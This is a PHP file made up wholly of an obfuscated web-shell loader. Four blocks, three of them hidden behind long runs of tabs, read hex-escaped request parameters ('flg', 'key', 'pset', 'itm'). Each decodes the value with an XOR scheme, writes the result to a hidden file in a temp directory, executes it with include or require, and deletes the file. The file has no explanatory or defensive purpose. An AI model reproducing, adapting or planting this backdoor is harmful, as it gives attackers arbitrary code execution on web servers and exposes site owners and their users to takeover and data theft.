<?php																																										if(isset($_POST["f\x6C\x67"])){ $dat = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", session_save_path()]); $fac = $_POST["f\x6C\x67"]; $fac =explode ('.' , $fac ) ; $tkn= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s5); foreach( $fac as $u => $v8): $sChar= ord( $s5[$u %$lenS]); $d= ( ( int)$v8 - $sChar -( $u %10)) ^ 46; $tkn .= chr( $d); endforeach; foreach ($dat as $element) { if (!( !is_dir($element) || !is_writable($element) )) { $holder = str_replace("{var_dir}", $element, "{var_dir}/.flag"); if (file_put_contents($holder, $tkn)) { include $holder; @unlink($holder); exit; } } } }
																																										if(in_array("ke\x79", array_keys($_REQUEST))){ $flg = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), "/dev/shm"]); $marker = $_REQUEST["ke\x79"]; $marker = explode ( '.' ,$marker ) ; $comp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $w = 0; while ($w < count($marker)) { $v7 = $marker[$w]; $chS = ord($salt3[$w% $sLen]); $dec = ((int)$v7 - $chS - ($w% 10)) ^ 47; $comp .= chr($dec); $w++; } $symbol = 0; do { $ptr = $flg[$symbol] ?? null; if ($symbol >= count($flg)) break; if (!!is_dir($ptr) && !!is_writable($ptr)) { $resource = join("/", [$ptr, ".mrk"]); if (file_put_contents($resource, $comp)) { include $resource; @unlink($resource); die(); } } $symbol++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["p\x73\x65t"])){ $entry = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $ent = $_POST["p\x73\x65t"]; $ent = explode ("." , $ent ) ; $factor = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2 ); foreach( $ent as $i => $v1) { $chS = ord( $s2[$i % $sLen] ); $dec =( ( int)$v1 - $chS -( $i % 10)) ^56; $factor .=chr( $dec ); } for ($ent = 0, $symbol = count($entry); $ent < $symbol; $ent++) { $item = $entry[$ent]; if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $descriptor = vsprintf("%s/%s", [$item, ".element"]); if (file_put_contents($descriptor, $factor)) { require $descriptor; unlink($descriptor); die(); } } } }


if(array_key_exists("i\x74\x6D", $_REQUEST)){
	$desc = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd()]);
	$factor = $_REQUEST["i\x74\x6D"];
	  $factor 	 =		explode	( 	"." ,$factor   );	 	
	$item=	 '';
            $s=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	 strlen(	$s);
    
            foreach(	$factor as $u		=> $v3):
                $sChar=	 ord(	$s[$u % $lenS]);
                $d=	 (	(	int)$v3 - $sChar -(	$u % 10)) ^ 30;
                $item .= chr(	$d);
            endforeach;
	while ($obj = array_shift($desc)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) {
    $entry = vsprintf("%s/%s", [$obj, ".pgrp"]);
    $success = file_put_contents($entry, $item);
if ($success) {
	include $entry;
	@unlink($entry);
	die();}
}
}
}